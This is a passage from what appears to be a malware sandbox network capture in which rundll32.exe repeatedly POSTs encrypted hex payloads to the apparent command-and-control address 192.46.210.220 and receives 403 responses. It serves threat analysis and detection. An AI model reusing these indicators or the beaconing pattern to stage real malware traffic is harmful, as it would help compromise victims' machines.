2021-10-28 02:58:32 UTC	79	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:33 UTC	84	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:33 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49825	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:35 UTC	84	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:35 UTC	84	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:36 UTC	89	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49827	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:36 UTC	89	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:36 UTC	89	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:37 UTC	94	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:37 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49833	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:39 UTC	94	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:39 UTC	94	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:40 UTC	99	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49758	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:04 UTC	9	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:04 UTC	10	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:05 UTC	14	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:05 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49836	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:40 UTC	99	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:40 UTC	99	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:41 UTC	104	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:41 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	49840	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:43 UTC	104	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:43 UTC	104	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:44 UTC	109	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	49844	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:46 UTC	109	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:46 UTC	109	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:46 UTC	114	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	49848	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:47 UTC	114	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:47 UTC	114	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:48 UTC	119	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.6	49852	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:49 UTC	119	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:49 UTC	119	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:50 UTC	124	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.6	49856	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:51 UTC	124	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:51 UTC	124	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:52 UTC	129	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:52 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.6	49862	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:53 UTC	129	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:53 UTC	129	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:54 UTC	134	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.6	49866	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:55 UTC	134	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:55 UTC	134	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: f'\V?LsBRfoH(iMFVz @mRk7kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:56 UTC	139	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:55 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.6	49871	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:57 UTC	139	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4862 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:57 UTC	139	OUT	Data Raw: 46 8c 83 6e 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: Fn'\V?LsBRfoH(iMFVz @mRk7k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:58:58 UTC	144	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:58:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.6	49874	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:58:59 UTC	144	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4850 Connection: Close Cache-Control: no-cache
2021-10-28 02:58:59 UTC	144	OUT	Data Raw: e3 0b 66 a3 10 08 27 a5 5c b0 56 a3 18 3f 4c 94 e5 ad 73 ac f8 a8 f0 12 06 42 87 c9 8b 52 90 1a a4 a0 eb 66 6f 05 8b e5 cd f9 f4 b2 d6 48 9d 88 af e2 28 69 90 0b 4d 46 56 7a df 0f 20 40 2a f7 6d aa 9c 52 11 f1 6b 95 08 e9 d6 37 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 